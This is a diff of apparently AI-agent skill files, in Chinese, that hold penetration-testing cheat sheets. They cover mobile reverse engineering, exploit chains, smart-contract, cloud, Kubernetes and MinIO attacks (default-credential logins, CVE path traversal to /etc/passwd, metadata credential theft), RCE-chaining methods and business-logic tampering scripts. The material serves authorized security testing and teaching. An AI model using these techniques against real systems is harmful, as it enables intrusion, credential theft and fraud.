zlib魔数78DA=未加密直接解压 | 无魔数=加密块(密钥在.so .rodata/汇编立即数)
|
||||
.so字符串解混淆: 偶数位字符提取→反转(e.g."mAojcl.dubdFiHaebP.nwywfwb"→"www.baidu.com") | strings -n8 lib*.so找含点号长串
|
||||
⚠️陷阱: .so中x分隔IP串(如"x111.230.69.120x118.126.105.164")=DCloud HTTPDNS节点(非API后端!140.205.11.x=阿里云DNS,111.230/118.126/106.52/42.193=腾讯云) | resources.arsc报错是故意反编译保护(不影响jadx) | assets伪PNG(1-8px)=完整性校验非数据 | fcapp.run仅APK下载代理
|
||||
关键API变量: $apiHost/$opHost(运行时动态设置,不硬编码)/urlList/checkAvailableDomainList(HEAD domain/favicon.ico测连通,200-399=可用)
|
||||
高价值端点: /app_init /user/gustRegister(游客无验证注册) /user/getOssSts(OSS临时凭据!) /uploadFile2
|
||||
配置: manifest.json(appId/版本/nativePlugins→wrs-httpserver=内嵌HTTP服务!) | supplierconfig.json(vivo/xiaomi/huawei/oppo appid) | dcloud_uniplugins.json(插件清单)
|
||||
ChengZi SDK(橙子建站): init3接口返回XOR单字节(key=0x96,见chengzi_decrypt.py)加密JSON→解密得APK真实下载链接(fu字段)+渠道码
|
||||
域名兜底: 静态拿不到$apiHost时→Android模拟器(Waydroid/AVD)+tcpdump/mitmproxy抓运行时DNS
|
||||
参见: references/uniapp-apk-reverse-engineering.md, references/uniapp-apk-reversing.md, scripts/js_rc4_deobfuscate.js, scripts/chengzi_decrypt.py
|
||||
🚨Flutter APK快速逆向(无需脱壳): 加固(MogoSec/梆梆/360)保护DEX层,但Flutter的lib/arm64-v8a/libapp.so(Dart AOT)通常不加密
|
||||
strings -n8 libapp.so|grep 'https\?://' → 全部硬编码URL/API域名/S3地址/CDN
|
||||
strings -n8 libapp.so|grep -E '^/' → API路径矩阵(/Member/Login, /Web/VideoList, /BBS/GetSTSToken等)
|
||||
strings -n8 libapp.so|grep -iE 'key|secret|token|aws|bucket' → 凭据/密钥泄露
|
||||
assets/config_*.xml + assets/data_*.dat → 加密配置(可能含域名/API地址) | .DS_Store → macOS开发者信息泄露 | assets/xinstall* → 渠道追踪SDK
|
||||
🚨Native .so字符串反混淆(通用模式): 混淆字符串在.rodata段
|
||||
常见模式: 偶数位字符提取+反转(如"mAojcl.dubdFiHaebP..."→取偶数位→反转=明文域名) | XOR常量 | RC4+base64
|
||||
识别: strings -n8 lib*.so找16字节等长串(AES密钥/IV)/含点号串(域名)/x分隔IP串(HTTPDNS) | nm --dynamic找混淆导出符号(16字符随机大小写)
|
||||
验证: 已知字符串("classes.dex"/"io.dcloud.application")对照混淆版→逆推算法→批量解码
|
||||
🚨移动通用(非UniApp/Flutter的常规APP):
|
||||
证书固定绕过(抓HTTPS): objection android sslpinning disable | frida universal-unpinning | 改smali删pinning重打包
|
||||
导出组件越权: Manifest exported=true的Activity/Service/Provider/Receiver → drozer/adb am start跨应用调 | ContentProvider SQLi/路径穿越
|
||||
深链接(deeplink)劫持: scheme://未校验→WebView加载任意URL(XSS/文件读) | 参数进intent→组件劫持
|
||||
不安全存储: /data/data/pkg/(shared_prefs明文token/db未加密/logcat泄露) | sdcard世界可读
|
||||
WebView: addJavascriptInterface(<4.2 RCE)/file://读本地/setAllowFileAccess | 静态:MobSF一把梭 | iOS:砸壳(frida-ios-dump)+Ghidra看Mach-O+objection动态
|
||||
EXE/PE: file/strings | Ghidra/IDA反编译找硬编码/加密/网络逻辑 | x64dbg动调 | 漏洞:溢出/格式化串/UAF/DLL劫持
|
||||
🚨内存破坏exploit链(崩溃→RCE): checksec看防护 → 确定原语(栈溢出/UAF/格式化串=任意读写)
|
||||
→ 信息泄露绕ASLR → ROP链(ROPgadget/pwntools ret2libc) → 堆利用(tcache poison/__free_hook劫持)
|
||||
→ 任意写改GOT/hook/vtable/exit_funcs → 控制流劫持 | 固件IoT:binwalk -Me提取+qemu-user调试(防护弱常直接栈溢出)
|
||||
```
|
||||
@@ -0,0 +1,16 @@
|
||||
---
|
||||
name: blockchain-contract-attack
|
||||
description: >-
|
||||
区块链/智能合约:Etherscan,slither/mythril,重入/访问控制/预言机/闪电贷,跨链桥,RPC暴露。Use when auditing smart contracts, DeFi, or blockchain attack surfaces.
|
||||
tags: [渗透测试, penetration-testing, 红队]
|
||||
---
|
||||
|
||||
## 区块链 / 智能合约
|
||||
|
||||
```
|
||||
=== 区块链/智能合约 ===
|
||||
源码: Etherscan getsourcecode API | 审计 slither/mythril/manticore
|
||||
手工: 重入(.call{value}先转账后改状态违反C-E-I) | 访问控制(onlyOwner缺失) | 整数溢出(<0.8无SafeMath)
|
||||
预言机操纵(闪电贷瞬时操纵AMM价格) | 随机数(block.timestamp可控) | 授权滥用(无限approve/permit重放) | delegatecall代理storage冲突
|
||||
DeFi: 闪电贷攻击/三明治(抢跑)/治理攻击/签名重放 | 跨链桥:签名阈值绕过/重放 | RPC:暴露8545直接eth_sendTransaction
|
||||
```
|
||||
@@ -1,402 +0,0 @@
|
||||
---
|
||||
name: business-logic-testing
|
||||
description: 业务逻辑漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 业务逻辑漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞类型
|
||||
|
||||
### 1. 工作流绕过
|
||||
|
||||
**跳过验证步骤:**
|
||||
- 直接访问最终步骤
|
||||
- 修改步骤顺序
|
||||
- 重复执行步骤
|
||||
|
||||
### 2. 价格操作
|
||||
|
||||
**负数价格:**
|
||||
- 输入负数金额
|
||||
- 导致账户余额增加
|
||||
|
||||
**价格篡改:**
|
||||
- 修改前端价格
|
||||
- 修改API请求中的价格
|
||||
|
||||
### 3. 数量限制绕过
|
||||
|
||||
**负数数量:**
|
||||
- 输入负数
|
||||
- 可能导致库存增加
|
||||
|
||||
**超出限制:**
|
||||
- 修改数量限制
|
||||
- 批量操作绕过
|
||||
|
||||
### 4. 时间竞争
|
||||
|
||||
**并发请求:**
|
||||
- 同时发送多个请求
|
||||
- 绕过单次限制
|
||||
|
||||
### 5. 状态操作
|
||||
|
||||
**状态回退:**
|
||||
- 将已完成订单改为待支付
|
||||
- 修改订单状态
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 工作流分析
|
||||
|
||||
**识别业务流程:**
|
||||
- 注册流程
|
||||
- 购买流程
|
||||
- 提现流程
|
||||
- 审核流程
|
||||
|
||||
**测试步骤跳过:**
|
||||
```
|
||||
正常流程: 步骤1 → 步骤2 → 步骤3
|
||||
测试: 直接访问步骤3
|
||||
测试: 步骤1 → 步骤3(跳过步骤2)
|
||||
```
|
||||
|
||||
### 2. 参数篡改
|
||||
|
||||
**修改关键参数:**
|
||||
```http
|
||||
POST /api/purchase
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": 1,
|
||||
"price": 100.00 # 修改为 0.01
|
||||
}
|
||||
```
|
||||
|
||||
**负数测试:**
|
||||
```json
|
||||
{
|
||||
"quantity": -1,
|
||||
"price": -100.00
|
||||
}
|
||||
```
|
||||
|
||||
### 3. 并发测试
|
||||
|
||||
**同时发送请求:**
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
|
||||
def purchase():
|
||||
requests.post('https://target.com/api/purchase',
|
||||
json={'product_id': 123, 'quantity': 1})
|
||||
|
||||
# 同时发送10个请求
|
||||
for i in range(10):
|
||||
threading.Thread(target=purchase).start()
|
||||
```
|
||||
|
||||
### 4. 状态修改
|
||||
|
||||
**修改订单状态:**
|
||||
```http
|
||||
PATCH /api/order/123
|
||||
{
|
||||
"status": "completed" # 修改为已完成
|
||||
}
|
||||
```
|
||||
|
||||
**回退状态:**
|
||||
```http
|
||||
PATCH /api/order/123
|
||||
{
|
||||
"status": "pending" # 从已完成回退到待支付
|
||||
}
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 价格操作
|
||||
|
||||
**负数价格:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"price": -100.00,
|
||||
"quantity": 1
|
||||
}
|
||||
```
|
||||
|
||||
**修改前端价格:**
|
||||
```javascript
|
||||
// 前端代码
|
||||
const price = 100.00;
|
||||
|
||||
// 修改为
|
||||
const price = 0.01;
|
||||
```
|
||||
|
||||
**API价格修改:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"items": [
|
||||
{
|
||||
"product_id": 123,
|
||||
"price": 0.01, # 原价100.00
|
||||
"quantity": 1
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### 数量限制绕过
|
||||
|
||||
**负数数量:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": -10 # 可能导致库存增加
|
||||
}
|
||||
```
|
||||
|
||||
**超出限制:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": 999999 # 超出单次购买限制
|
||||
}
|
||||
```
|
||||
|
||||
### 优惠券滥用
|
||||
|
||||
**重复使用:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"coupon": "DISCOUNT50",
|
||||
"items": [...]
|
||||
}
|
||||
|
||||
# 重复使用同一优惠券
|
||||
```
|
||||
|
||||
**未激活优惠券:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"coupon": "EXPIRED_COUPON", # 使用过期优惠券
|
||||
"items": [...]
|
||||
}
|
||||
```
|
||||
|
||||
### 提现漏洞
|
||||
|
||||
**负数提现:**
|
||||
```json
|
||||
{
|
||||
"amount": -1000.00 # 可能导致账户余额增加
|
||||
}
|
||||
```
|
||||
|
||||
**超出余额:**
|
||||
```json
|
||||
{
|
||||
"amount": 999999.00 # 超出账户余额
|
||||
}
|
||||
```
|
||||
|
||||
### 时间竞争
|
||||
|
||||
**并发购买:**
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
|
||||
def buy():
|
||||
requests.post('https://target.com/api/purchase',
|
||||
json={'product_id': 123, 'quantity': 1})
|
||||
|
||||
# 限时抢购,并发请求
|
||||
for i in range(100):
|
||||
threading.Thread(target=buy).start()
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 前端验证绕过
|
||||
|
||||
**直接调用API:**
|
||||
- 绕过前端JavaScript验证
|
||||
- 直接发送API请求
|
||||
|
||||
**修改请求:**
|
||||
- 使用Burp Suite拦截
|
||||
- 修改参数后发送
|
||||
|
||||
### 状态码分析
|
||||
|
||||
**观察响应:**
|
||||
- 200 OK - 可能成功
|
||||
- 400 Bad Request - 参数错误
|
||||
- 403 Forbidden - 权限不足
|
||||
- 500 Internal Server Error - 服务器错误
|
||||
|
||||
### 错误信息利用
|
||||
|
||||
**从错误信息获取信息:**
|
||||
```
|
||||
错误: "余额不足,当前余额: 100.00"
|
||||
→ 可以获取账户余额信息
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**使用Repeater:**
|
||||
1. 拦截业务请求
|
||||
2. 修改关键参数
|
||||
3. 观察响应
|
||||
|
||||
**使用Intruder:**
|
||||
1. 标记参数
|
||||
2. 使用Payload列表
|
||||
3. 批量测试
|
||||
|
||||
### 自定义脚本
|
||||
|
||||
```python
|
||||
import requests
|
||||
import json
|
||||
|
||||
def test_price_manipulation():
|
||||
# 测试价格修改
|
||||
for price in [0.01, -100, 0, 999999]:
|
||||
data = {
|
||||
"product_id": 123,
|
||||
"price": price,
|
||||
"quantity": 1
|
||||
}
|
||||
response = requests.post('https://target.com/api/purchase',
|
||||
json=data)
|
||||
print(f"Price {price}: {response.status_code}")
|
||||
|
||||
test_price_manipulation()
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以绕过业务逻辑限制
|
||||
2. 验证可以执行未授权操作
|
||||
3. 评估影响(资金损失、数据篡改等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和业务流程
|
||||
- 可执行的未授权操作
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(服务端验证、业务规则检查等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **服务端验证**
|
||||
```python
|
||||
def process_purchase(product_id, quantity, price):
|
||||
# 从数据库获取真实价格
|
||||
real_price = db.get_product_price(product_id)
|
||||
|
||||
# 验证价格
|
||||
if price != real_price:
|
||||
raise ValueError("Price mismatch")
|
||||
|
||||
# 验证数量
|
||||
if quantity <= 0:
|
||||
raise ValueError("Invalid quantity")
|
||||
|
||||
# 处理购买
|
||||
process_order(product_id, quantity, real_price)
|
||||
```
|
||||
|
||||
2. **状态机验证**
|
||||
```python
|
||||
class OrderState:
|
||||
PENDING = "pending"
|
||||
PAID = "paid"
|
||||
SHIPPED = "shipped"
|
||||
COMPLETED = "completed"
|
||||
|
||||
TRANSITIONS = {
|
||||
PENDING: [PAID],
|
||||
PAID: [SHIPPED],
|
||||
SHIPPED: [COMPLETED]
|
||||
}
|
||||
|
||||
def can_transition(self, from_state, to_state):
|
||||
return to_state in self.TRANSITIONS.get(from_state, [])
|
||||
```
|
||||
|
||||
3. **并发控制**
|
||||
```python
|
||||
import threading
|
||||
|
||||
lock = threading.Lock()
|
||||
|
||||
def process_order(order_id):
|
||||
with lock:
|
||||
# 检查订单状态
|
||||
order = db.get_order(order_id)
|
||||
if order.status != 'pending':
|
||||
raise ValueError("Order already processed")
|
||||
|
||||
# 处理订单
|
||||
process(order)
|
||||
```
|
||||
|
||||
4. **业务规则验证**
|
||||
```python
|
||||
def validate_business_rules(order):
|
||||
# 验证数量限制
|
||||
if order.quantity > MAX_QUANTITY:
|
||||
raise ValueError("Quantity exceeds limit")
|
||||
|
||||
# 验证价格范围
|
||||
if order.price <= 0:
|
||||
raise ValueError("Invalid price")
|
||||
|
||||
# 验证库存
|
||||
if order.quantity > get_stock(order.product_id):
|
||||
raise ValueError("Insufficient stock")
|
||||
```
|
||||
|
||||
5. **审计日志**
|
||||
```python
|
||||
def log_business_action(user_id, action, details):
|
||||
log_entry = {
|
||||
"user_id": user_id,
|
||||
"action": action,
|
||||
"details": details,
|
||||
"timestamp": datetime.now()
|
||||
}
|
||||
db.log_action(log_entry)
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对业务造成实际影响
|
||||
- 注意不同业务流程的差异
|
||||
- 测试时注意数据一致性
|
||||
@@ -0,0 +1,47 @@
|
||||
---
|
||||
name: capability-primitive-search
|
||||
description: >-
|
||||
能力原语+状态空间搜索:read/write/exec/ssrf等原语凑RCE等式A-F,低危映射,正反向搜索,跨域兑现。Use when no single RCE, chaining low-severity vulns, or deriving novel attack chains.
|
||||
tags: [渗透测试, penetration-testing, 红队]
|
||||
---
|
||||
|
||||
## 能力原语 + 状态空间搜索
|
||||
|
||||
```
|
||||
心法: RCE不是一个"漏洞",是一组"能力"凑齐后的涌现。没单点大洞时,几个info级/低危照样拼出代码执行。
|
||||
固有思维(要打破): "扫不到RCE/反序列化/上传→这站打不动了"。你的活不是"找RCE漏洞",是"凑齐执行所需的原语"。
|
||||
把每个Fact抽象成能力原语(不记"发现X漏洞",记"现在拥有什么能力+限制"):
|
||||
read(path) write(path) exec(cmd) ssrf(url) sqli redirect(url) eval_expr idor(id) cred(svc,priv) coerce_auth write_acl
|
||||
|
||||
RCE只需满足任意一条等式,拆成可获取的原语去凑:
|
||||
A. 能写文件 + 文件被当代码执行 = RCE
|
||||
B. 能控配置/env + 配置指向你的代码 = RCE
|
||||
C. 能进管理面 + 面板自带执行功能 = RCE(不是漏洞,是功能!)
|
||||
D. 有凭据 + 服务有合法执行入口 = RCE(滥用合法功能)
|
||||
E. 能任意读 + 读到凭据 + 凭据可登录执行点 = RCE
|
||||
F. 能控数据 + 数据流入危险sink(eval/模板/SQL) = RCE
|
||||
|
||||
低危→原语映射(把"鸡肋漏洞"翻译成拼图碎片):
|
||||
info泄露(.git/备份/堆栈)→源码/路径/密钥→喂B/E/F | LFI/任意读→读配置密钥→E,或日志投毒→A
|
||||
SSRF(哪怕只GET)→打内网Redis/Consul/K8s/云元数据→C; 云元数据拿临时凭据→D
|
||||
弱/默认/复用凭据→进带任务/插件/webhook/CI功能的后台→C | CORS/CSRF/XSS→借管理员浏览器调执行类功能→C
|
||||
可控上传(哪怕限扩展名)→配路径穿越/解析差异/.htaccess→A | 配置写入→改模板/日志/连接串→B
|
||||
SQLi(哪怕只读)→读hash/密钥→E,或OUTFILE→A | 模板可控→SSTI→F | 原型污染→污染下游属性→F
|
||||
|
||||
状态空间搜索(无现成链时自己搜): 状态=当前能力集, 动作=用能力解锁新能力, 目标=Goal。
|
||||
正向: 对每个能力问"能解锁什么?"; 对每对能力问"组合出什么?"
|
||||
(read+write=改配置; ssrf+内网redis=RCE; sqli+FILE=webshell; coerce_auth+relay=域SYSTEM; idor+massassign=改他人admin)
|
||||
反向(卡住时主用): 锁定Goal=执行命令→选最接近现状的等式当模板→缺哪个原语设为子目标→
|
||||
手上哪个低危/功能/info泄露能凑出它?→凑不出递归拆/换等式 → 正反向在中间相遇=完整链浮现 → 逐段验证
|
||||
|
||||
突破口(看到别走开):
|
||||
·"功能即原语": 后台的任务计划/插件/模板编辑/SQL控制台/文件管理器/导入导出/webhook —— 合法功能但登进去就是现成执行/读写原语。渗透者眼里没"功能/漏洞"之分,只有"能力"。
|
||||
·跨协议跳跃: SSRF的gopher/dict/file把"只能发HTTP"变成"打Redis/发SMTP/读文件"。
|
||||
·凭据复用是万能胶: 任意一处拿到的密码/key默认全网复用全部喷一遍。横向常比纵向快。
|
||||
·解析差异: 上传校验/路由/反代三方理解不一致→缝隙里有绕过(双扩展名/编码/Host混淆)。
|
||||
·时间维度: TOCTOU/token可预测/缓存投毒,把"偶尔"变"稳定",把不可利用变可利用。
|
||||
·跨域兑现: 每拿一个能力问"它在别的域值多少钱"——能力是通用货币。Web SSRF→进云元数据接管账户; APK硬编码→直连内部API绕前端鉴权; 供应链→拿CI密钥进生产。
|
||||
·创造模式(已知组合用尽时): 重审能力边界(只能读/var/log? /proc/self/environ呢) | 找等价RCE的sink(写crontab/.bashrc/CI配置/LD_PRELOAD/authorized_keys/systemd unit都=RCE) | 信息(报错/时序/响应长度)当侧信道 | 假设取反:列"我以为不可能"逐条问"凭什么不可能"
|
||||
> 推导出的链是假设(可 tentative 记 note/chain),实际执行+证据后才写 confirmed Fact / record_vulnerability。整条链每步都验证过才成立。
|
||||
```
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
---
|
||||
name: cloud-attack-methods
|
||||
description: >-
|
||||
云攻击:元数据API,S3/K8s,AWS/Azure/GCP身份提权,MinIO矩阵,阿里云FC,ChengZi SDK解密。Use when attacking cloud metadata, IAM, K8s, MinIO, Aliyun FC, or cloud post-ex.
|
||||
tags: [渗透测试, penetration-testing, 红队]
|
||||
---
|
||||
|
||||
## 云攻击手法
|
||||
|
||||
```
|
||||
=== 云 ===
|
||||
元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200
|
||||
对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin
|
||||
🚨云身份攻击(拿到key/token后的提权横向):
|
||||
AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥
|
||||
Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥
|
||||
Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向
|
||||
GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举
|
||||
🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS
|
||||
🚨MinIO攻击矩阵:
|
||||
指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)
|
||||
Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login"
|
||||
STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置
|
||||
CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)
|
||||
CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)
|
||||
匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁
|
||||
上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)
|
||||
扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行
|
||||
🚨阿里云FC函数(fcapp.run)枚举:
|
||||
识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)
|
||||
特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数
|
||||
利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)
|
||||
枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)
|
||||
路径穿越: FC正确规范化(../无效),但可枚举不同function路径
|
||||
CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth"
|
||||
FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)
|
||||
🚨橙子建站(ChengZi SDK)解密:
|
||||
初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)
|
||||
解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)
|
||||
d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护
|
||||
关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL
|
||||
```
|
||||
@@ -1,343 +0,0 @@
|
||||
---
|
||||
name: cloud-security-audit
|
||||
description: 云安全审计的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 云安全审计
|
||||
|
||||
## 概述
|
||||
|
||||
云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。
|
||||
|
||||
## 审计范围
|
||||
|
||||
### 1. 身份和访问管理
|
||||
|
||||
**检查项目:**
|
||||
- IAM策略配置
|
||||
- 用户权限
|
||||
- 角色权限
|
||||
- 访问密钥管理
|
||||
|
||||
### 2. 网络安全
|
||||
|
||||
**检查项目:**
|
||||
- 安全组配置
|
||||
- 网络ACL
|
||||
- VPC配置
|
||||
- 流量加密
|
||||
|
||||
### 3. 数据安全
|
||||
|
||||
**检查项目:**
|
||||
- 数据加密
|
||||
- 密钥管理
|
||||
- 备份策略
|
||||
- 数据分类
|
||||
|
||||
### 4. 合规性
|
||||
|
||||
**检查项目:**
|
||||
- 合规框架
|
||||
- 审计日志
|
||||
- 监控告警
|
||||
- 事件响应
|
||||
|
||||
## AWS安全审计
|
||||
|
||||
### IAM审计
|
||||
|
||||
**检查IAM策略:**
|
||||
```bash
|
||||
# 列出所有IAM用户
|
||||
aws iam list-users
|
||||
|
||||
# 列出所有IAM策略
|
||||
aws iam list-policies
|
||||
|
||||
# 检查用户权限
|
||||
aws iam list-user-policies --user-name username
|
||||
aws iam list-attached-user-policies --user-name username
|
||||
|
||||
# 检查角色权限
|
||||
aws iam list-role-policies --role-name rolename
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 过度权限
|
||||
- 未使用的访问密钥
|
||||
- 密码策略弱
|
||||
- MFA未启用
|
||||
|
||||
### S3安全审计
|
||||
|
||||
**检查S3存储桶:**
|
||||
```bash
|
||||
# 列出所有存储桶
|
||||
aws s3 ls
|
||||
|
||||
# 检查存储桶策略
|
||||
aws s3api get-bucket-policy --bucket bucketname
|
||||
|
||||
# 检查存储桶ACL
|
||||
aws s3api get-bucket-acl --bucket bucketname
|
||||
|
||||
# 检查存储桶加密
|
||||
aws s3api get-bucket-encryption --bucket bucketname
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 公开访问
|
||||
- 未加密
|
||||
- 版本控制未启用
|
||||
- 日志记录未启用
|
||||
|
||||
### 安全组审计
|
||||
|
||||
**检查安全组:**
|
||||
```bash
|
||||
# 列出所有安全组
|
||||
aws ec2 describe-security-groups
|
||||
|
||||
# 检查开放端口
|
||||
aws ec2 describe-security-groups --group-ids sg-xxx
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 0.0.0.0/0开放
|
||||
- 不必要的端口开放
|
||||
- 规则过于宽松
|
||||
|
||||
### CloudTrail审计
|
||||
|
||||
**检查审计日志:**
|
||||
```bash
|
||||
# 列出所有跟踪
|
||||
aws cloudtrail describe-trails
|
||||
|
||||
# 检查日志文件完整性
|
||||
aws cloudtrail get-trail-status --name trailname
|
||||
```
|
||||
|
||||
## Azure安全审计
|
||||
|
||||
### 订阅和资源组
|
||||
|
||||
**检查订阅:**
|
||||
```bash
|
||||
# 列出所有订阅
|
||||
az account list
|
||||
|
||||
# 检查资源组
|
||||
az group list
|
||||
```
|
||||
|
||||
### 网络安全组
|
||||
|
||||
**检查NSG:**
|
||||
```bash
|
||||
# 列出所有NSG
|
||||
az network nsg list
|
||||
|
||||
# 检查NSG规则
|
||||
az network nsg rule list --nsg-name nsgname --resource-group rgname
|
||||
```
|
||||
|
||||
### 存储账户
|
||||
|
||||
**检查存储账户:**
|
||||
```bash
|
||||
# 列出所有存储账户
|
||||
az storage account list
|
||||
|
||||
# 检查访问策略
|
||||
az storage account show --name accountname --resource-group rgname
|
||||
```
|
||||
|
||||
## GCP安全审计
|
||||
|
||||
### 项目和组织
|
||||
|
||||
**检查项目:**
|
||||
```bash
|
||||
# 列出所有项目
|
||||
gcloud projects list
|
||||
|
||||
# 检查IAM策略
|
||||
gcloud projects get-iam-policy project-id
|
||||
```
|
||||
|
||||
### 计算引擎
|
||||
|
||||
**检查实例:**
|
||||
```bash
|
||||
# 列出所有实例
|
||||
gcloud compute instances list
|
||||
|
||||
# 检查防火墙规则
|
||||
gcloud compute firewall-rules list
|
||||
```
|
||||
|
||||
### 存储
|
||||
|
||||
**检查存储桶:**
|
||||
```bash
|
||||
# 列出所有存储桶
|
||||
gsutil ls
|
||||
|
||||
# 检查存储桶权限
|
||||
gsutil iam get gs://bucketname
|
||||
```
|
||||
|
||||
## 自动化工具
|
||||
|
||||
### Scout Suite
|
||||
|
||||
```bash
|
||||
# AWS审计
|
||||
scout aws
|
||||
|
||||
# Azure审计
|
||||
scout azure
|
||||
|
||||
# GCP审计
|
||||
scout gcp
|
||||
```
|
||||
|
||||
### Prowler
|
||||
|
||||
```bash
|
||||
# AWS安全审计
|
||||
prowler -c check11,check12,check13
|
||||
|
||||
# 完整审计
|
||||
prowler
|
||||
```
|
||||
|
||||
### CloudSploit
|
||||
|
||||
```bash
|
||||
# 扫描AWS账户
|
||||
cloudsploit scan aws
|
||||
|
||||
# 扫描Azure订阅
|
||||
cloudsploit scan azure
|
||||
```
|
||||
|
||||
### Pacu
|
||||
|
||||
```bash
|
||||
# AWS渗透测试框架
|
||||
pacu
|
||||
```
|
||||
|
||||
## 审计清单
|
||||
|
||||
### IAM安全
|
||||
- [ ] 检查用户权限
|
||||
- [ ] 检查角色权限
|
||||
- [ ] 检查访问密钥
|
||||
- [ ] 检查密码策略
|
||||
- [ ] 检查MFA启用情况
|
||||
|
||||
### 网络安全
|
||||
- [ ] 检查安全组/NSG规则
|
||||
- [ ] 检查VPC配置
|
||||
- [ ] 检查网络ACL
|
||||
- [ ] 检查流量加密
|
||||
|
||||
### 数据安全
|
||||
- [ ] 检查数据加密
|
||||
- [ ] 检查密钥管理
|
||||
- [ ] 检查备份策略
|
||||
- [ ] 检查数据分类
|
||||
|
||||
### 合规性
|
||||
- [ ] 检查审计日志
|
||||
- [ ] 检查监控告警
|
||||
- [ ] 检查事件响应
|
||||
- [ ] 检查合规框架
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 过度权限
|
||||
|
||||
**问题:**
|
||||
- IAM策略过于宽松
|
||||
- 用户拥有管理员权限
|
||||
- 角色权限过大
|
||||
|
||||
**修复:**
|
||||
- 最小权限原则
|
||||
- 定期审查权限
|
||||
- 使用IAM策略模拟
|
||||
|
||||
### 2. 公开资源
|
||||
|
||||
**问题:**
|
||||
- S3存储桶公开
|
||||
- 安全组开放0.0.0.0/0
|
||||
- 数据库公开访问
|
||||
|
||||
**修复:**
|
||||
- 限制访问范围
|
||||
- 使用私有网络
|
||||
- 启用访问控制
|
||||
|
||||
### 3. 未加密数据
|
||||
|
||||
**问题:**
|
||||
- 存储未加密
|
||||
- 传输未加密
|
||||
